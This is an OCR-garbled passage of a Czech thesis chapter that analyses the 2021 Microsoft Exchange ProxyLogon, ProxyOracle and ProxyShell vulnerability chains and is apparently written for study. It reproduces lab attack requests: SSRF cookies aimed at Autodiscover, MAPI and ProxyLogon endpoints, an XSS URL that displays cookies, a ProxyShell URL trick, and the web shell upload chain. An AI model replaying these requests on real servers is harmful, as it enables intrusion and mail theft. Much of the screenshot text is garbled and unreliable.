f— l
> » (&) —————-
CVE-2021-26857 Escalate privilege Run arbitrary
exploit (UM {as SYSTEM on commands
deserialization) Exchange Server)

B Obrazek 2.1 Schéma ukazuje zptsoby, kterymi je mozné penetrovat zranitelny server. Uto¢nik nejprve
musi zneuzit zranitelnost CVE-2021-26855 a nasledné se mtize rozhodnout pro jednu ze t¥i zranitelnosti,
nachézejici se ve sluzbé EAC (Exchange Admin Center). Cely Fetézec tsti v RCE (Remote Code Execu-
tion) — ttoénik muze na zranitelném serveru vzdalené poustét kéd. Schéma bylo prevzato od Microsoftu:
[@, kap. Mitigating post-exploitation activities].

2.1.1 CVE-2021-26855 — ProxyLogon

Microsoft udrzuje svoji databazi zranitelnosti pro svij software. Zde zaznamenava ruzné detaily
danych zranitelnosti, napiiklad CVSS (Common Vulnerability Scoring System) hodnocen{ zdvaz-
nosti hrozby. Toto hodnoceni je vypocitano tak, ze se nejprve ohodnoti nékolik metrik, napriklad
vektor utoku, slozitost utoku, potencidlni dopad na data atd. Nakonec se celkové CVSS hodno-
ceni uréi pomoci slozitéjsiho vzorce, ktery zkombinuje hodnoceni jednotlivych metrik a vrati ¢islo
od 0 do 10, pfiéemz ¢im vySsi ¢islo je, tim je zranitelnost zdvaznéjsi. [15] Pokud m4 zranitelnost
findlni CVSS hodnoceni vyssi nez 9, je povazovana jako kritickd (nejhorsi moznd) a je nutnd oka-
mzita reakce, protoze zneuziti mize mit fatalni nasledky. ProxyLogon je jedna z nejzavaznéjsich
a také nejzndméjsich zranitelnosti v celé historii Microsoft Exchange. ProxyLogon se pysni CVSS
hodnocenim 9.1, coz uz je pravé kritickd zranitelnost. [16]

Aby mohla byt zranitelnost ProxyLogon zneuzita, dtoc¢nikovi stac¢i mit pfistup k portu 443
daného serveru. Pokud chce vSak plné vyuzit cely fetizek zranitelnosti a ziskat pristup na server,
potiebuje znat jesté e-mail privilegovaného uzivatele (administratora).

ProxyLogon tzce souvisi s dvéma cookies: ,, X-BEResource” a ,, X-AnonResource-Backend*.
Obé cookies byly pridany do programu kvili udrzovani kompatibility mezi verzemi programu
a pomahaji identifikovat Frontendu, kde se nachazi Backend. Dfive se totiz backend mohl nacha-
zet napriklad na jiném serveru, ptipadné v jiném virtualnim adreséri IIS, viz schéma 1.2. Cookie
,» X-BEResource* bohuzel neni vhodné osetfena a skrze ni vede cesta k SSRF na Exchange ser-
veru. D4 se zneuzit tak, ze Gtocnik posle specidlni HT'TP Post pozadavek na server, ktery miii
na soubor se statickou priponou na url adrese serveru /ecp/*. Soubor, na ktery miii pozadavek,
nemusi existovat. Nasledné server ovéri, zda pozadavek obsahuje cookie ,, X-BEResource*, a po-
kud ano, tak ji rozdéli na dvé casti, pricemz délici znak je ,,~“. VSe, co se nachdzi za ~ pouzije
k identifikaci ¢isla verze klienta a vSe, co predchazi znaku ~ se pouzije jako url adresa, kam se mé
pozadavek preposlat. Pokud je verze klienta nizsi nez konstanta ,, Server.E15MinVersion“ a jedna
se o anonymni pozadavek (klient nen{ autentizovén), tak se pozadavek nepieposle. Pokud bude
¢islo za ~ vyssi, tak se pozadavek preposle i kdyz se bude jednat o anonymni pozadavek. Hodnotu
»Server.K15MinVersion® lze ziskat ze zdrojového kédu. Nésledné se server pokusi autentizovat
skrze Kerberos! na url adresu definovanou v ,, X-BEResource” cookie. Pokud se ispésné auten-

1Jednd se o protokol, pouzivany k prokdzini své identity nékomu dal$imu. Vice lze nalézt


/ecp/*

Retézec zranitelnosti

tizuje, tak pozadavek preposle a utoc¢nikovi se vrati celd odpoved. Ovérovani skrze Kerberos tak
zranitelnost SSRF viditelné zuzuje na Windows servery na stejné vnitini siti a samotny zrani-
telny Exchange server. Na obrazku 2.2 je vidét ispésné provedeny SSRF utok — server preposlal
pozadavek na vlastni backend, konkrétné na sluzbu Autodiscover, a vyzadal si data o e-mailové
adrese administratora. Utoénik dostal plnohodnotnou odpovéd a zjistil interni informaci o e-
mailové adrese — LegacyDN identifikétor.2 Typické zneuziti ProxyLogonu je pravé skrze ziskani
citlivych informaci ze sluzeb a naslednd autentizace do EAC. Existuji vsak i jiné cesty a vice
jsou rozebrany v samotné kapitole 2.3|.

Request

Raw Hex [E5
POST /fecp/fbaklava.is HTTP/2 1

Host: 10.0.0.10 2 tCache-Control: private

Accept-Encoding: gzip, deflate 3 Content-Type: text/xml: charset=utf-8

Content -Type: text/xml 4 Vary: Accept-Encoding

User-aAgent: Mozilla/5.0 (Windows NT 10.0; Wing4: x&64) S Server: Microsoft-IIS/10.0

AppleWebKit/537.36 (KHTHL, like Gecko) Chrome/97.0.4692.71 & Request-Id: c3bl742b-eSee-472c-9894-c26b763ac258

Response

= raw Hex

HTTP/2 200 0K

W | =

Ej N =

oW e

safari/s37.36 7 ¥-Calculatedbetarget: win-lu7podcdsch.megacorp.local
& Cookie: X¥-BEResource= & ¥-Diaginfo: WIN-LU7PODCDSCE
MegaCorpaAdnin@IN- LU7PODCDSCE, megacorp.local ' 444/autediscover/aut 9 X-Beserver: WIN-LU7PODCDSCE
odiscover. xml#~1941962753 10 ¥-Aspnet-Version: 4.0,30319
7 Content-Length: 384 11 ¥-Powered-By: ASP,MNET
B 12 X-Feserver: WIN-LU7PODCDSCE
9 =Autodiscover xmlns=" 13 Date: Tue, 29 Mar 2022 15:36:59 GMT
http://schemas.microsoft. com/exchange/autodiscover/outlook/reques 14 Content-Length: 3866
tschema/2006"= 15
10 =Request= 16 =7xml version="1.0" encoding="utf-§"7>
11 <EMail Address= =Autodiscover xmlns="

MegaCorpAdnin@negacorp. local
</EMail Address=
1z <hcceptabl eResponseSchema=
http://schemas . microsoft.com/exchange/autodiscover/outlooks
responseschemna/2006a

http://schemas. microsoft.com/exchange/autodiscover/responsesche
ma/2008" =

18 <Response xmlns="

http://schemas.microsoft com/exchange/autodiscover/outlook/re
sponseschema/2006a" =

</AcceptableResponseSchemas= 19 =Users=
13 =/Request=> 20 <DisplayName=>
14 =/Autodiscovers= Admin
</DisplayName>
21 <LegacyDh=

Jo=MegaCorp/ou=Exchange Administrative Group

{ FYDIBOHF23SPOLT) fcn=Recipients/cn=894289h38cE87400a9272
AERfarRd=200. Admin
Qs €| search... @i (€3]] sea

0 matches 0 matches

B Obrazek 2.2 Na obrdzku je vidét piiklad zneuziti zranitelnosti ProxyLogon a ziskdni citlivych dat
od sluzby Autodisovery. Konkrétné server preposlal itoénikuv pozadavek na vlastni backendovou sluzbu
Autodiscover a vyzddal si data o e-mailové adrese administratora. Utoénik dostal plnohodnotnou odpovéd
a diky tomu zjistil interni oznaceni e-mailové adresy — legacyDN. Syntaxe pozadavku byla prevzata
z oficidlni dokumentace. |j1—7‘7 kap. Autodiscover Request] Utok byl proveden ve virtudlnim prostiedi®,
které je podrobné popsino v j K poslani dat a odchyceni odpovédi od serveru je pouzita aplikace
Burp Suite?.

! Pokud nebude fedeno jinak, tak byl snimek titokti vyroben v tomto virtulni prostieds.

2 https://portswigger .net/burp

Druh4 cookie se jménem ,, X-AnonResource-Backend* umoziiuje SSRF pfi pozadavku na OWA
sluzbu, konkrétné na url adresu /owa/auth/*. Funguje podobné jako ptredchazeji cookie, jen
s drobnymi rozdily. Kromé samotné ,, X-AnonResource-Backend“ musi byt nastavena jesté hod-
nota cookie ,, X-AnonResource* na , true“ a musi se jednat o GET pozadavek namisto POST
pozadavku. Dale muze ttoc¢nik ¢islo za ~ nastavit jakkoliv, neni tedy potfeba, aby bylo vyssi nez
urc¢itd konstanta. Vyznamny rozdil je ten, ze pti preposilani pozadavku se server neautentizuje
skrze Kerberos cilovému serveru. Utoénik mize tudiz definovat jako cil v podstaté jakykoliv
server. Kromé téchto rozdila funguje SSRF stejné jako predchéazejici.

v oficidlni dokumentaci: https://docs.microsoft.com/en-us/windows-server/security/kerberos/
kerberos-authentication-overview.
2Jedn4 se o starsi oznaceni postovni schranky, pouzivané pro interni operace v MS Exchange.


https://portswigger.net/burp
/owa/auth/*
https://docs.microsoft.com/en-us/windows-server/security/kerberos/kerberos-authentication-overview
https://docs.microsoft.com/en-us/windows-server/security/kerberos/kerberos-authentication-overview
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2.1.2 CVE-2021-27065

CVE-2021-27065 je zranitelnost nachazejici se v EAC. Umoznuje Gtocnikovi, aby na server nahral
vlastni soubor, naptiklad Web Shell. Zranitelnost se nachézi v EAC, které nabizi privilegovanému
uzivatelovi, aby konfiguroval virtudlni adresafe na serveru. U nékterych virtudlnich adresarich
muze administrator nastavit interni a externi url adresu, aby definoval, na které url adrese
klienti najdou tuto virtudlni slozku (typicky v ni bézi néjaka sluzba). Interni url adresa je pro
uzivatele pripojujici se z vnitini sité, externi pak pro uzivatele pripojujici z internetu. Textové
policko pro externi url adresu vSak neni vhodné osetfené a utoc¢nik za urcitych podminek muze
vlozit i néjaky kéd. Server kontroluje, ze url obsahuje protokol a hostname a dale povoluje
vstup o velikosti maximalné 256 bytt. Ndsledné za kazdy znak % prida ¢éislo 25. [18] Takové
osetieni je nedostacujici a lze jednoduse obejit pro vlozeni kédu. Administrator mé dale moznost
obnovit nastaveni virtualnich slozek. Pii takové akci je administrator dotazan, aby definoval
nazev souboru, kam se ma zdlohovat aktudlni nastaveni. Textové policko na zadavani nazvu
souboru také neni vhodné osetfeno a administrator miize zadat libovolnou cestu a nazev souboru.
Navic tto¢nik muze ovlivnit ¢ast obsahu tohoto souboru skrze zminované nastaveni externi url.
Typicky utocénik vlozi do nastaveni kéd pro Web Shell a néasledné nastaveni vyexportuje jako
soubor s koncovkou aspx a ulozi ho na verejné dostupné misto. Timto zpusobem tak nahraje na
server vlastni Web Shell.

2.1.3 Ostatni zranitelnosti

Zbylé zranitelnosti v fetézci zranitelnosti ProxyLogon jsou CVE-2021-26857 a CVE-2021-26858.

Aby bylo mozné pochopit CVE-2021-26857, je nutné nejprve vysvétlit pojmy serializace a de-
serializace dat. Serializace je obecné proces, pri kterém se néjakd datova struktura ¢i objekt
prevede do sekvenéni podoby. Napiiklad objekt v programu je preveden do proudu bajti. Tento
proud se pak da ulozit na externi tlozisté jako tfeba do databaze, souboru nebo paméti a lze
ho posilat a prijimat. Jednd se tedy o uchovani stavu objektu. Deserializace je inverzni operace
k serializaci, tedy naptiklad nacteni proudu byt z externiho tlozisté do paméti programu. Muze
se vsak stat, ze ma ttoc¢nik pristup k dattim, co se maji deserializovat a ma moznost je modifiko-
vat. Uto¢nik tak miize namisto ptivodnich dat vlozit n&jaké skodlivé data, které p¥i deserializaci
mohou vést az k RCE. V takovych pripadech je naro¢né implementovat ochranné mechanismy
a obecné se doporucuje vstup od uzivatele vibec nedeserializovat. Jadro zranitelnosti CVE-2021-
26857 spociva prave v nezabezpetené deserializaci dat. Utoénik miize pozménit specificky soubor,
ze kterého komponenta UM deserializuje data. K tomu vSak potfebuje ptistup do EAC, napfii-
klad pomoci CVE-2021-26855. Je nutné poznamenat, ze sluzba UM vsak neni ve vychozim stavu
zapnuta a od Exchange verze 2019 jiz neni podporovana. Proto neni tak ¢asto volena jako druha
volba zranitelnosti v fetizku.

CVE-2021-26858 umoznuje stejné jako CVE-2021-27065 nahrat na server soubor na jakékoliv
misto. Pro tuto zranitelnost vsak dosud nejsou zndmy zadné technické detaily, a proto neni
ziejmé, o co se jedna. Mtzeme se vsak domnivat, ze zranitelnost bude velmi podobna zranitelnosti
CVE-2021-27065, jen se bude nachazet v jiné komponenté.

2.2 Navazujici zranitelnosti

Jak jiz bylo feCeno, masivni zména architektury a udrzovani zpétné kompatibility otevielo moz-
nosti novému zptsobu utokt na Exchange. ProxyLogon neni jedina kriticka zranitelnost, ktera
byla v roce 2021 v Exchange objevena. Nasledovala zajimava zranitelnost ProxyOracle, ktera
neumoznuje RCE, nybrz ziskat ptrihlasovaci idaje obéti. Déle byla objevena dalsi zranitelnost,
kterd umoznovala RCE, ProxyShell. V této sekci jsou popsiny obé zranitelnosti, neni jim veé-
novano tolik prostoru jako zranitelnosti ProxyLogon, protoze nejsou hlavnim tématem prace,
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avsak jsou popsany dostatecné podrobné, aby jim ¢tenar mohl porozumét a rozsitit si prehled
o bezpecnosti programu Exchange.

2.2.1 ProxyOracle

Zranitelnost ProxyOracle umoznuje tto¢nikovi ziskat prihlasovaci iidaje obéti, konkrétné heslo.
Staci, ze uzivatel navstivi podvodny odkaz, ktery vsak bude mirit na Exchange server organizace.
ProxyOracle je kombinace dvou zranitelnosti: CVE-2021-31195 a CVE-2021-31196.

CVE-2021-31196 je zranitelnost, kterd umoznuje Padding Oracle ttok. Zranitelnost samotna
se nachdzi v OWA sluzbé. Protoze je HTTP protokol bezstavovy, tato sluzba musi néjakym zpi-
sobem udrzovat informace o uzivatelovo relaci. Obecné se tento problém fesi pomoci rela¢nich
proménnych (session variables), které jsou pro kazdou relaci vygenerované nahodné a ulozené
v cookie uzivatelova prohlizece a na serveru. Exchange tento problém fesi trochu jinym zpu-
sobem, a to tak, Ze si do cookies ulozi uzivatelovu zaSifrovanou identitu (pfihlasovaci jméno
a heslo), Sifrovaci kli¢ a inicializaéni vektor, které byly pouzity pro zaSifrovani identity a samy
jsou zasifrovany tajnym klicem serveru. Cookies se jmenuji cadata, cadataKey, cadatalV atd.
Pokud se klient s témito cookies pripoji na OWA, tak je Exchange rozsifruje a zkusi se s nimi
autentizovat backendu. Pokud autentizace probéhne v poradku, je klient prihlasen a muze OWA
pouzivat bez nutnosti pokazdé zaddvat pristupové udaje. [19]

Exchange pouziva pro Sifrovani cookies CBC mod. Pokud nastane néjaky problém pii au-
tentizaci, server muze vratit az 5 hodnot, které definuji, co se stalo za problém. Dulezité je, ze
diky témto hodnotam lze rozlisit, kdy byly zaddny nespravné prihlasovaci tidaje a kdy doslo
k chybé v desifrovani kvili nevalidnimu paddingu. Kvili tomuto chovani je Exchange zranitelny
na Padding Oracle itok a kdokoliv se zmocni klientovych cookies, ma moznost ziskat jeho pri-
hlasovaci ddaje v nesifrovaném textu. Ukrast klientovi cookies by obecné nemélo byt mozné.
Bohuzel existuje dalsi zranitelnost CVE-2021-31195, kterd to umoziuje.

CVE-2021-31196 je XSS (Cross-Site Scripting) zranitelnost — to znamend, ze tto¢nik muze
vlozit kéd do dynamicky nac¢itané webové stranky na strané klienta. V tomto pripadé frontend vi-
bec neosetiuje data, které predava klientovi p¥i pozadavku na url https://<ExchangeServer>/
owa/auth/frowny.aspx. Utoénik mize vlozit napiiklad javascript kéd do url odkazu a pokud
obét na dany odkaz klikne, vykona se dany koéd. Na obrazku @ je vidét vykonani vlozeného
kédu do url adresy, konkrétné se jedna o tento odkaz: https://<ExchangeServer>/owa/auth/
frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=
&refurl=}}};alert (document.cookie)// [19]

Exchange pouziva pro vsechny dulezité cookies atribut HttpOnly, ktery zajisti to, Ze cookies
nejsou piistupné ze skripti, které se vykondvaji na klientové strané (napiiklad javascript v pro-
hliZeci). Proto i na [2.3 neni vidét napiiklad cookie , cadata®“. Samotné tyto dvé zranitelnosti tak
nestaci k ziskani uzivatelova hesla v nesifrovaném textu. Pokud se vsak tyto dvé zranitelnosti
zkombinuji jesté se zranitelnosti ProxyLogon (CVE-2021-26855), tak uz existuje pomérné solidni
prﬁSOb’ jak uzivatele okrast o susenky a ziskat jeho heslo. Tento zpusob je vice popsan v kapitole
2.3

2.2.2 ProxyShell

ProxyShell je kombinace Fetizek t¥i zranitelnosti, konkrétné CVE-2021-34473, CVE-2021-34523,
CVE-2021-31207 a pro ziskani RCE je nutné zneuzit vSechny tyto zranitelnosti postupneé.
Prvni zranitelnost CVE-2021-34473 je typu SSRF a nachézi se ve funkci ,, Explicit Login®.
Sluzba ,, Explicit Login“ umoznuje uzivateli, aby do url zakomponoval e-mailovou adresu a tim
si rovnou zobrazil postu nebo kalendar specifického prihldseného uzivatele. Url adresa muze
vypadat napiiklad takto: https://<ExchangeServer>/owa/MegaCorpAdmin@MegaCorp.local/
#path=/calendar. Pozadavek je zpracovan tak, ze je vymazana ona explicitni e-mailova adresa
a nasledné je pozadavek pfesmérovan. Pokud se jednd o pozadavek na sluzbu Autodiscover, tak se
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"} Error — Mozilla Firefox @

+ Eror X +

« - X O & https://win-lu7podcdscb/owa/auth/frowny.aspx?app=people&et=ServerError&esrc 1y & =

@ win-lu7podcdsch

cookieTest=1; logondata=acc=0&
Ign=MegaCorp\MegaCorpAdmin; PrivateComputer=true;
PBack=0; Clientid=F68D70D8E3874635BBC98168AE06E3E]L;
X-OWA-CANARY=a-_OkXFI1UikPvpFy7Q-
KYAfOKtgFtolusfhRfVYjXCsiQIHlyx|Xnk2Gn-qRcbrry2 AXEA]DJk.;
AppcacheVer=15.1.2176.2:en-usbase

B Obrazek 2.3 Na obrazku je vidét, ze Exchange neoSetifuje data, které posild jako odpovéd klientovi.
Utoénik vlozil javascript kéd do odkazu, ktery nasledné poslal obéti. Obét na tento odkaz klikla a je
vidét, Ze se vykonal javascript kéd v uzivatelové prohlizedi, ktery zobrazi jeho cookies. Utoénik by timto
zpusobem mohl vlozit skodlivy kéd, ktery by napiiklad cookies preposlal na jeho server.

miuZe e-mail zadat i jako pojmenovany parametr v url (Query String), napiiklad takto: https://
<ExchangeServer>/autodiscover/autodiscover. json?@dummy.net/?&email=autodiscover/
autodiscover. json’%3f@dummy.net. V takovém piipadé frontend z url vymaze prvni nalez, ktery
bude odpovidat textu specifikovanému jako parametr e-mail. V tomto pripadé tak frontend smaze
nasledujici ¢ast /autodiscover/autodiscover.json?@dummy.net. Vysledny cil, kam se pre-
posle pozadavek, bude vypadat takto: https://<ExchangeServer>/7&Email=autodiscover/
autodiscover. json’%3f@dummy.net. Diky tomu se to¢nikovi povedlo smazat ¢ast url a muze
tak ovlivnit, kam se mé pozadavek pfesmérovat (parametr uvEmail pak uz nehraje vliv). N4~
zornd ukazka, jak presmérovat pozadavek na chténou sluzbu, je vidét na obrazku 2.4. Timto
zpusobem utocnik ziska pristup k backendovym sluzbam, avsak muze ovlivnit pouze ,,url“, takze
nemtze nic modifikovat, pouze data zobrazovat. Také ma pristup jako uzivatel, pod kterym bézi
program Exchange, nejéastéji NT AUTHORITY\SYSTEM.M]

Druh4 zranitelnost CVE-2021-34523 se nachdzi ve funkcionalité Exchange PowerShell. Uto¢-
nik mé sice po zneuziti predchozi zranitelnosti k této sluzbé ptistup jako uzivatel NT AUTHO-
RITY\SYSTEM, avSak tento uzivatel nemé Zadnou postovni schranku, tudiz Gtoénik nemutze
tuto sluzbu vyuzivat. Existuje vSak cesta, jak z uzivatele NT AUTHORITY\SYSTEM udélat
,pouze“ administratora Exchange a tim si zajistit pristup ke sluzbé PowerShell. Pti HTTP poza-
davku na PowerShell sluzbu se urci pristupujici uzivatel z parametru hlavicky HTTP pozadavku
(HTTP header), konkrétné z,, X-CommonAccessToken“. Tento parametr v piipadé piistupu skrze
predchozi zranitelnost neni nastaven, protoze ito¢nik neni autorizovan. V takovém pripadé se Ex-
change pokusi zjistit uzivatele z url argumentu (Query String) ,, X-Rps-CAT“. Uto¢nik tedy miize
ziskat pristup na Exchange PowerShell sluzbu tim, Ze nastavi argument ,, X-Rps-CAT* takto:
https://<ExchangeServer>/autodiscover/autodiscover. json?@dummy.net/mapi/nspi/?&
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(™% Exchange MAPI/HTTP Connectivity Endpeint — Mozilla Firefox

Exchange MAPI/HTTP Conne X +

&« @ | O &G https://win-lu7podcdsch napi/nspi/?&Email=autodi ¥
Exchange MAPI/HTTP Connectivity Endpoint

Version: 15.1.2176.2
Vdir Path: /mapi/nspi/

User: NT AUTHORITY\SYSTEM
UPN:

SID: S-1-5-18

Organization:
Authentication: Negotiate
PUID:

TenantGuid::

Cafe: win-lu7podcdsch.megacorp.local
Mailbox: win-lu7podcdsch.megacorp.local

Created: 06.04.2022 18:44:33

B Obrazek 2.4 Utoénik zneuzil zranitelnost CVE-2021-34473 a ziskal piistup na sluzbu mapi jako
uzivatel NT AUTHORITY\SYSTEM. Zluté je zvyraznéno, co frontend chybné smazal z url z jeho
pozadavku predtim, nez ho piresméroval.

X-Rps-CAT=[Base64 encoded email]. Poté jiz ziska pristup do Exchange server Powershell
sluzby a muze konfigurovat cely program Exchange. Je vhodné poznamenat, ze utocnik tedy
potfebuje zndt uzivatelské jméno privilegovaného uzivatele Exchange. [21]

Treti zranitelnost CVE-2021-31207 umoznuje ttocnikovi na server vlozit vlastni soubor s ja-
kymkoliv obsahem a do jakéhokoliv adresare, pokud ma pristup do Powershell sluzby jako ad-
ministrator. Utotnik tedy muze vlozit vlastni Web Shell a tim cely server ovlddnout pomoci
RCE. Administrator ma moznost zélohovat e-mailovou postu libovolného uzivatele pomoci pri-
kazu ,, New-MailboxExportRequest“. Tento piikaz muze provést pouze uzivatel s roli , Import
Export Mailbox“, ale pro uto¢nika neni problém si tuto roli priradit, protoze méa pristup skrze
privilegovaného uzivatele. Zalohovani probiha tak, ze jsou vSechny e-maily zakdédovany do specifi-
kovaného souboru. Kromé textu samotnych e-mailii jsou do tohoto souboru zakédovany i prilohy.
Kédovani je podrobnéji popsano v oficialni dokumentaci od Microsoftu.[] Podstatné je, ze pro
kédovani a dekédovani je pouzit stejny algoritmus. Utoénik tedy miize sviij Web Shell zakédo-
vat a nasledné poslat danému uzivateli na e-mail. Tim obejde i potencidlni kontrolu malware
v priloze. Déale spusti prikaz na zalohovani e-mailové posty daného uzivatele a pri této akci se
priloha zakéduje, respektive dekdduje a vysledna zdloha bude obsahovat Web Shell. Zaloha nema
omezeni na koncovku souboru, tudiz itocnik muze zvolit naptiklad koncovku aspx a ulozit ji na
vefejné pristupné misto. [23]

2.3 Analyza atoki

V této podkapitole je provedena analyza probéhlych utokt. Nejprve jsou predstaveny riizné druhy
atokl a moznosti zneuziti zranitelnosti. Déle jsou popsany jednotlivé faze ttoku, konkrétné je
popsano, jakym zptisobem utocnici pokracovali po zneuziti zranitelnosti, kdyz se zmocnili serveru

19



20 Utoky postavené na zranitelnosti ProxyLogon

(post-exploitation). Déle je probrano, jaké dopady z titokl vzesly. Nésledné je vice popséna ¢inska
vladni organizace Hafnium, kterd za prvotnimi utoky tdajné stéla. Z tohoto diuvodu je popséna
i ¢inska umeéld inteligence, kterd méla byt jednou z hlavnich motivaci pro Hafnium.

2.3.1 Zpusoby atoku

V této kapitole je popsano nékolik metod utokt, které utoc¢nici pouzivali pri zneuzivani zranitel-
nosti ProxyLogon.

2.3.1.1 Zneuziti backendovych sluzeb

Nejvice pouzivana cesta zneuziti je skrze ziskani informaci od backendovych sluzeb a nasledna
autentizace do EAC a nahrani Web Shellu skrze zranitelnost CVE-2021-27065. Pro tispésné vy-
konéani tohoto 1itoku pottebuje titoénik znét e-mailovou adresu administratora Exchange serveru
a pFistup na portu 443. Utoénik zneuZije nékolik sluzeb, pii zneuzit{ konkrétn{ sluzby vzdy ziska
citlivou informaci, kterou zneuzije pri zneuziti sluzby nésledujici. Prvnim krokem je zjisténi
FQDN (Fully-Qualified Domain Name), vétsinou lze tento udaj odhalit pouhym oskenovanim
serveru, napriklad pomoci utility nmap. Nésledné utocénik zneuzije sluzbu Autodiscover, aby
zjistil legacyDN a MailboxId. LegacyDN je starsi oznaceni postovni schranky a MailboxId je
taktéz interni oznaceni pro postovni schranku. Nézornd ukézka zneuziti sluzby Autodiscover je
zobrazena na obrazku &1372 P1i posilani pozadavkt na sluzby je nutné dodrzovat spravnou syn-
taxi pozadavku — nékdy se dd syntax vycist z oficidlni dokumentace[17] ¢ jinych technickych
popistu a nékdy je nutné odposlechnout data, které klienti posilaji a napodobit jejich pozadavky.
LegacyDn a MailboxId ziskané pozadavkem na Autodiscover, jsou pouzity pfi zneuziti druhé
sluzby MAPI. Nejprve utocénik posle pozadavek na MAPI s LegacyDn a MailboxId, ta sice vrati
chybu, ale ve vypisu se bude nachdzet hodnota SID (Security Identifier). SID se pouZiva pro
vnitini operace Exchange, primarné pro udéleni pristupu uzivateli, se kterym je svazana. Ukazka
zneuziti MAPI je na obrazku ﬁ

Utoé¢nik dale zneuzije interni sluzbu ProxyLogon (diky tomu tato zranitelnost ziskala své po-
jmenovani). Sluzbé ProxyLogon posle v pozadavku ziskané SID a také e-mail uzivatele, se kterym
je toto SID svazano. Sluzba uzivatele autentizuje a vrati mu cookies nazyvajici se msEchEcpCanary
a ASP.NET_SessionId. Utoénik diky témto cookies ziskd plny piistup do EAC jako uZivatel, se
kterym je SID svdzéno (v tomto piipadé administrétor). Nédzornd ukdzka je na obrdzku 2.6.

Nyni ma dtocnik plny piistup do EAC jako administrator a zneuzije zranitelnost CVE-2021-
27065 — skrze tuto zranitelnost nahraje vlastni Web Shell. Utocnik nejprve vlozi kéd pro Web
Shell do nastaveni externi url adresy pro sluzbu OAB, jak je zachyceno na obrézku 2.7 a vypisu
kodu 3. Nésledné dtocénik provede obnoveni nastaveni, pti kterém specifikuje, ze se mé zdloha
aktudlniho nastaveni ulozit na server na vetejné dostupné misto s pfiponou aspx — obrazek [2.8.
Diky pfedchozim krokiim nahraje uto¢nik na server vlastni kus kédu, ktery se bude nachazet
v zéloze nastaveni a umozni mu pristup do systému. Obsah souboru je vidét na obrazku 2.9.
Néasledné ma utoc¢nik pristup do systému a pomoci pozadavkt na Web Shell mize provadét
privilegované prikazy, ndzorna ukazka je predvedena na obrazku 2.10.

2.3.1.2 Odcizeni e-maila

Tento zpusob utoku predpokladda minimalné dva Exchange servery v siti a to, Ze Gto¢nik znd e-
mailovou adresu obéti. Pokud jsou pfedpoklady splnény, ttoc¢nik je schopny stdhnout jakykoliv
e-mail z posty obéti. Nejprve posle pozadavek na server A, ten pozadavek presméruje kvuli zra-
nitelnosti ProxyLogon na server B a vyzada si od néj postu obéti. Server B vrati plnohodnotnou
odpovéd, protoze se server A pred odeslanim pozadavku autentizuje. Nasledné server A zobrazi
ttocnikovi odpovéd od serveru B a tedy i e-mail obéti. Utoénik si takto muze postu vyzadat
napiiklad skrze rozhrani EWS — ukazka se nachézi na obrazku 2.11.



Analyza ttoku

Request

pretry R Hex n
POST /fecp/¥.]1s HTTR/2
Host: 10.0.0.10
Accept-Encoding: gzip, deflate

X-Requesttype: Connect

X-Requestid: GGEG66666E-G665- 6666- 6666- 666666656666

Content -Type: application/mapi-http

¥-Clientapplication: Outlook/15.0,4815,1002

User-agent: Mozilla/5.0 (Windows NT 10.0: Wing4; x64)
AppleWebkit /537,36 (KHTML, like Gecko) Chrome/97.0.4692,71
Safari/537.36

oW

@~

9 Cookie: X-BEResource=
MegaCorpAdmini L 444/mapi/emsmdb/FMai
lhoxId=F p.local#~19419
62753

10 Content-Length: 135

11

12 fo=MegaCor u=Exchange Administrative Group

( FYDIBOHF23SPOLT) fen=Recipients/cn=894e89b38cB7400a9e72258fecBdaa
99- Admin[N

@©E €)= s

@

0 matches

21

Response

pretry R Hex Render

16 X-Beserver: WIN-LU7PODCDSCE

17 ¥-Aspnet-Version: 4.0, 30315

18 Set-Cookie: MapiRouting=
ULVNOj NhMzFhODAZLTFEZnIt NDIxMy 04Mj IOLTUSONELNzK O] g5Yj owjuLRzEjaC
==; path=/mapi/; secure; HttpOnly

19 Set-Cookie: MapiContext=
MAPTAAAAAPKTOd1UwTanGaSuqvnE+ Nvp2e v Z9MTw3e ST /8732 f/LBcPToYKwilulu
I27g7bclgAlAARAAL==; path=/mapi/emsmdb; secure; HttpOnly

20 Set-Cookie: MapiSequence=0-NF3iYg==; path=/mapi/emsmdb; secure;

HttpOnly

¥-Powered-By: ASP.MET

X-Feserver: WIN-LU7PODCDSCE

Date: Thu, ©7 Apr 2022 19:28:40 GMT

Content-Length: 1165

PROCESSING

27 DONE

28 K-StartTime: Thu,
29 X-ElapsedTime: 321

07 Apr 2022 19:28:40 GMT

21 A$CWIN-LUFPODCDSCE. MegaCorp.local FHPKCLient AccessServe r=WIN-LU7PO
DCDSCE. MegaCorp. local , ConnectTime=07 .04, 2022
21:28: 40, Connect1onIl=11997

22 [$bIMicrosoft.Exchange.RpcClientAccess.Server.LoginPermException:
'User SID: 5-1-5-18' can't act as owner of a UserMailbox object
' fo=MegaCorp/ou=Exchange Administrative Group
( FYDIBOHF23SPOLT) /cn=Recipients/cn=894e85b36c87400a%e 72258 fecBdaa
99-Admin' with SID S-1-5-21-2295111141-1308593480-3925824825-1106
and MasterAccountSid (StoreError=LoginPerm)

0 matches

B Obrazek 2.5 Utoénik se vydéava za klientskou aplikaci Outlook (proménna X-Clientapplication) a po-
sild pozadavek na sluzbu MAPI skrze zranitelnost CVE-2021-26855 (ProxyLogon). Zluté jsou vyznadeny
hodnoty MailboxId a LegacyDn, které ttocnik ziskal pfi predchozim pozadavku na Autodiscovery. Syn-
taxe pozadavku je inspiroviana piikladem z oficidlni dokumentace. [17, kap. Establish a New Session
Context] Server sice odpovi chybovou hldskou, ale v ni zahrne i hodnotu SID (vyznaceno zluté), kterd

se pouzije pii pozadavku na dalsi sluzbu.

Request

Raw Hex B \n

POST fecpsK.js HTTR/2

Host: 10.0.0.10

Accept-Encoding: gzip, deflate

Msexchlogonmailbox:

5-1-5-21-2296111141-1308593480- 3925624825-1106

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x&4)
AppleWebKkit /537,36 (KHTML, like Gecko) Chrome/97.0. 4692, 71
Safari/537.36

Cookie: X-BEResources=

MegaCorpAdnin@WIN-LU7PODCDSCE. megacorp. local : 444/ecp/proxylogon . e
Cp#~1941962753

Content-Length: 72

P
1
4

wn

@

7
8
9 =r at="" ln=""=
<s=
§-1-5-21-2296111141 -1308593480- 3925824825-1106
</s=
“fr>

@&k [e| )| se

0 matches

Response

Pretty m Hex Render

1 HTTR/Z 241

2 Cache-Control: private

3 Server: Microsoft-IIS/10.0

4 Request-Id: 17f1d062-8047-401c-8505-0ddalsas183b
5

6

